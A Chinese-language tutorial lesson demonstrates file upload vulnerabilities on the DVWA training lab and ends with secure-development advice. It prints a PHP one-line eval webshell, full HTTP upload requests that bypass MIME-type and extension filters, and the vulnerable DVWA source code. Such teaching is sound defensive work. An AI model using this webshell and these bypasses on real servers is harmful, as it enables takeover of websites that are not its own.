第14课:文件上传漏洞

第14课:文件上传漏洞

本课旨要:了解 Web 安全中常见的文件上传方式的漏洞,了解存在因素以及修复方案。

文件上传漏洞危害

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行,这里上传的文件可以是木马、病毒、恶意脚本或者 webshell 等,这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。因为你把能上传马儿的页面都给他标出来了,上传一个 webshell 不会要两分钟,所以说很容易实施利用。

有的人认为,文件上传根本不能算是一个漏洞,因为关乎的是开发者的水平而存在的。本次课程使用 DVWA 靶机中的上传进行演示文件上传漏洞。

文件上传漏洞实例分析

enter image description here

可以看到这是 DVWA 的界面,在进行攻击之前,请先把安全级别调整到低级,否则会有文件过滤。

enter image description here

上传了第一个图片文件之后,提示成功上传。上传一个图片是可行的,这是正常的思路,如果上传一个带有攻击性的 webshell 呢?可以是 ASP 程序,也可以是 PHP 程序,甚至 JSP 也是可以的,那我们试试。

这里选择了一个 PHP 一句话后门,代码如下:

<?php @eval($_POST['c']);?>

enter image description here

居然上传成功了,并且给出了绝对路径,那么用菜刀链接试试?

enter image description here

图中已经证明,菜刀是可以链接的,因此说明,文件上传是最容易获得 webshell 的方法。

菜刀轻而易举的就链接成功了,我的天!

这样获得一个网站的权限真是太简单不过了,攻击者仅仅只需要上传一个带有攻击性的文件到你的服务器里即可完成攻击。

这是低级别的文件上传漏洞,可以看一下源代码,源代码如下:

<?php 
    if (isset($_POST['Upload'])) { 

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 
            $target_path = $target_path . basename( $_FILES['uploaded']['name']); 

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { 

                echo '<pre>'; 
                echo 'Your image was not uploaded.'; 
                echo '</pre>'; 

              } else { 

                echo '<pre>'; 
                echo $target_path . ' succesfully uploaded!'; 
                echo '</pre>'; 

            } 

        } 
?>

basename( $_FILES['uploaded']['name'])

将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if 语句判断文件是否上传到指定的路径中,若没有则显示没有上传,说明低级安全级别没有对上传文件的类型进行任何的过滤,也就是可以随意上传 PHP 文件,可以看到程序在上传时,未对文件做任何过滤。

中级安全性 DVWA 文件上传测试

我们调整 DVWA 的安全级别,到其中级,来看看结果。

enter image description here

这次 PHP 文件没有上传成功,图片格式的文件依然可以上传。

其源代码如下:

<?php 
    if (isset($_POST['Upload'])) { 

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 
            $target_path = $target_path . basename($_FILES['uploaded']['name']); 
            $uploaded_name = $_FILES['uploaded']['name']; 
            $uploaded_type = $_FILES['uploaded']['type']; 
            $uploaded_size = $_FILES['uploaded']['size']; 

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ 


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { 

                    echo '<pre>'; 
                    echo 'Your image was not uploaded.'; 
                    echo '</pre>'; 

                  } else { 

                    echo '<pre>'; 
                    echo $target_path . ' succesfully uploaded!'; 
                    echo '</pre>'; 

                    } 
            } 
            else{ 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
        } 
?>

在上传的途中使用 Burp 进行抓包后发现,已经对上传类型做了限制。

enter image description here

为了方便各位读者理解,我还是上传一句话的 PHP,并且复制代码,代码如下:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://192.168.0.9/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=254e0443f91af4d3a707d7824ce4c323
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------149621444523976
Content-Length: 447

-----------------------------149621444523976
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------149621444523976
Content-Disposition: form-data; name="uploaded"; filename="cmd.php"
Content-Type: application/octet-stream

<?php @eval($_POST['c']);?>
-----------------------------149621444523976
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------149621444523976--

和低级安全来比,中级增加了三个变量分别用于表示上传文件的名字、类型以及大小,判断上传文件的类型是否是“image/jpeg”,这里只设置了检测文件的类型,因此可以用 burp 来修改文件的类型即可绕过,成功上传。

../../hackable/uploads/cmd.php succesfully uploaded!

高级安全性 DVWA 文件上传测试

高级别的 DVWA 源代码如下:

<?php
if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';

                  } else {

                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';

                    }
            }

            else{

                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';

            }
        }

?>

从源代码可以看出,高级别的过滤机制改成了判断文件的后缀名是为 jpg 等,对于这种方式,我们可以使用 Burp 在文件夹的后面加上 jpg 文件即可完成绕过。

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://192.168.0.9/dvwa/vulnerabilities/upload/
Cookie: security=high; PHPSESSID=254e0443f91af4d3a707d7824ce4c323
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------76973222215755
Content-Length: 443

-----------------------------76973222215755
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------76973222215755
Content-Disposition: form-data; name="uploaded"; filename="cmd.php"
Content-Type: application/octet-stream

<?php @eval($_POST['c']);?>
-----------------------------76973222215755
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------76973222215755--

上传文件 cmd.php,修改为 :cmd.php.jpg 即可。

enter image description here

修改为:http://192.168.0.9/dvwa/hackable/uploads/cmd.php.jpg 后也能成功链接。

由此可以说明,文件上传基于黑名单的任何过滤方式都是不安全的,必须使用白名单等过滤方式来进行安全开发,请每位搞 Web 开发的读者,不要使用黑名单检测机制,我已经用血淋淋的事实告诉你们了。

结语

希望各位读者能通过本课的学习了解 Web 安全开发中文件上传这个致命的弱点,做好安全开发,务必要对有上传的地方做好防护。

上一篇
下一篇
内容互动
写评论
加载更多
评论文章